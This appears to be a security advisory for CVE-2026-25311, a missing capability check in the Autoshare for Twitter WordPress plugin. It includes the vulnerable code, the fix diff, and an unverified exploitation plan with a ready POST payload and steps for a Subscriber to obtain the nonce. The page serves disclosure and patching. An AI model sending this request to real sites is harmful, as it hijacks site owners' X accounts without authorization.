CVE-2026-25311

Autoshare for Twitter <= 2.3.1 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
2.3.2
Patched in
103d
Time to patch

Description

The Autopost for X (formerly Autoshare for Twitter) plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.3.1
PublishedJanuary 22, 2026
Last updatedMay 4, 2026
Affected pluginautoshare-for-twitter

What Changed in the Fix

Changes introduced in v2.3.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-25311 (Autoshare for Twitter <= 2.3.1) ## 1. Vulnerability Summary The **Autopost for X (formerly Autoshare for Twitter)** plugin for WordPress is vulnerable to **Missing Authorization** in the `retweet` function located in `includes/admin/post-transition.php`…

Show full research plan

Exploitation Research Plan: CVE-2026-25311 (Autoshare for Twitter <= 2.3.1)

1. Vulnerability Summary

The Autopost for X (formerly Autoshare for Twitter) plugin for WordPress is vulnerable to Missing Authorization in the retweet function located in includes/admin/post-transition.php.

The function is registered as an AJAX action wp_ajax_tenup_autoshare_retweet. While it correctly verifies a WordPress nonce, it uses the generic 'wp_rest' action string and fails to perform any capability check (e.g., current_user_can( 'edit_posts' )). This allows any authenticated user, including those with Subscriber-level permissions, to trigger a tweet for any arbitrary post ID, effectively hijacking the site's Twitter/X connection to publish content.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: tenup_autoshare_retweet
  • HTTP Method: POST
  • Authentication: Authenticated (Subscriber and above)
  • Vulnerable Parameter: post_id
  • Nonce Parameter: nonce (Action: 'wp_rest')
  • Preconditions:
    • The plugin must have a connected Twitter/X account (or the attacker triggers the failure logs).
    • The target post_id must belong to a post type that supports autosharing (default: post, page).
    • The site must not be detected as a staging site (checked via AST_Staging::is_production_site()).

3. Code Flow

  1. Entry Point: A Subscriber user sends a POST request to admin-ajax.php with action=tenup_autoshare_retweet.
  2. Hook Registration: includes/admin/post-transition.php defines:
    add_action( 'wp_ajax_tenup_autoshare_retweet', __NAMESPACE__ . '\retweet', 10, 3 );
    
  3. Nonce Verification: The retweet() function verifies the nonce:
    if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wp_rest' ) ) {
        wp_send_json_error( __( 'Nonce verification failed.', 'autoshare-for-twitter' ) );
    }
    
    Note: Any logged-in user can obtain a wp_rest nonce as it is used by the core WordPress REST API.
  4. Missing Authorization: There is no call to current_user_can().
  5. Execution Sink: The code calls publish_tweet($post_id, true):
    $is_retweeted = publish_tweet( $post_id, true );
    
    The true argument forces the tweet to be sent even if autoshare was disabled for that specific post.
  6. Side Effects: publish_tweet attempts to compose a tweet and send it via the Publish_Tweet class, eventually calling update_autoshare_for_twitter_meta_from_response(), which modifies post metadata.

4. Nonce Acquisition Strategy

The nonce used is 'wp_rest'. This nonce is standard for the WordPress REST API and is automatically exposed to logged-in users.

  1. Access Level: Login as a Subscriber user.
  2. Navigate: Go to any page in the WordPress admin dashboard (e.g., /wp-admin/profile.php).
  3. Extract: Use the browser_eval tool to extract the nonce from the global WordPress JavaScript objects.
    • Target Variable: window.wpApiSettings.nonce
    • Alternative: If wpApiSettings is not available, look for any wp_localize_script output in the page source containing a nonce key.
  4. Command: browser_eval("window.wpApiSettings?.nonce")

5. Exploitation Strategy

Step-by-Step Plan

  1. Create Target Content: Create a post with ID X as an Administrator.
  2. Setup Attacker: Create a Subscriber-level user.
  3. Obtain Nonce: Log in as the Subscriber and use browser_eval to grab the wp_rest nonce.
  4. Trigger Unauthorized Action: Use the http_request tool to send the malicious AJAX request.

HTTP Request Payload

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]

action=tenup_autoshare_retweet&post_id=[TARGET_POST_ID]&nonce=[WP_REST_NONCE]

6. Test Data Setup

  • Plugin Config: Ensure the plugin is active.
  • Production Check: If the plugin thinks the site is staging, it will exit. You may need to define define('WP_ENVIRONMENT_TYPE', 'production'); in wp-config.php or ensure the site URL does not contain "staging" or "test".
  • Target Post: Create a standard post:
    wp post create --post_type=post --post_title="Unauthorized Tweet" --post_status=publish
    Capture the ID of this post.

7. Expected Results

  • Success Response: The server returns a JSON success object: {"success":true,"data":{...}}.
  • Action Taken: The plugin attempts to contact the Twitter API. Even if the API credentials are dummy/missing, the plugin will attempt to log the failure to the post's metadata.

8. Verification Steps

  1. Metadata Check: Check if the post metadata has been updated to reflect a "retweet" attempt.
    wp post meta get [POST_ID] autoshare_for_twitter_status
  2. Log Verification: If the Twitter API was not configured, look for an error log in the post meta:
    wp post meta get [POST_ID] autoshare_for_twitter_logs
  3. Response Validation: Confirm the AJAX response contains 'is_retweeted' => true (if it worked) or an error message that isn't "Nonce verification failed" or a 403 Forbidden.

9. Alternative Approaches

If the wp_rest nonce is not easily found via wpApiSettings, navigate to the Block Editor (if the Subscriber has access to a post type) or check the source code of the dashboard for rest-nonce or similar identifiers. If AST_Staging::is_production_site() blocks the exploit, the researcher should verify if the test environment can be forced into production mode.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Autopost for X (formerly Autoshare for Twitter) plugin for WordPress is vulnerable to unauthorized access because the AJAX action 'tenup_autoshare_retweet' fails to perform a capability check. This allow authenticated attackers, including those with Subscriber-level permissions, to trigger the publication of tweets for arbitrary post IDs on the site's connected X (Twitter) account.

Vulnerable Code

// includes/admin/post-transition.php @ line 31
add_action( 'wp_ajax_tenup_autoshare_retweet', __NAMESPACE__ . '\retweet', 10, 3 );

--- 

// includes/admin/post-transition.php @ line 174
function retweet() {
	if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wp_rest' ) ) {
		wp_send_json_error( __( 'Nonce verification failed.', 'autoshare-for-twitter' ) );
	}

	$post_id      = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0;
	$is_retweeted = publish_tweet( $post_id, true );

	// Send status logs markup for classic editor.
	if ( isset( $_POST['is_classic'] ) && ! empty( $_POST['is_classic'] ) ) {
		$message = [ 'message' => get_tweet_status_logs( $post_id ) ];
	} else {
		$message = get_tweet_status_message( $post_id );
	}
	$message['is_retweeted'] = $is_retweeted;

	if ( $is_retweeted ) {
		wp_send_json_success( $message );
	} else {
		wp_send_json_error( $message );
	}
}

Security Fix

--- includes/admin/post-transition.php
+++ includes/admin/post-transition.php
@@ -178,6 +178,10 @@
 		wp_send_json_error( __( 'Nonce verification failed.', 'autoshare-for-twitter' ) );
 	}
 
+	if ( ! current_user_can( 'edit_posts' ) ) {
+		wp_send_json_error( __( 'You do not have permission to perform this action.', 'autoshare-for-twitter' ) );
+	}
+
 	$post_id      = isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0;
 	$is_retweeted = publish_tweet( $post_id, true );

Exploit Outline

The vulnerability is exploited by abusing the 'tenup_autoshare_retweet' AJAX action. An authenticated attacker, such as a Subscriber, first retrieves a valid WordPress REST API nonce (commonly available via the 'wpApiSettings' JavaScript object on the dashboard). The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'tenup_autoshare_retweet', a 'post_id' parameter targeting a specific post, and the 'nonce' parameter. Because the plugin does not verify if the user has permissions to edit posts or perform shares, the 'publish_tweet' function is called with the 'force' flag set to true, causing the plugin to send a status update for that post to the configured Twitter/X account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.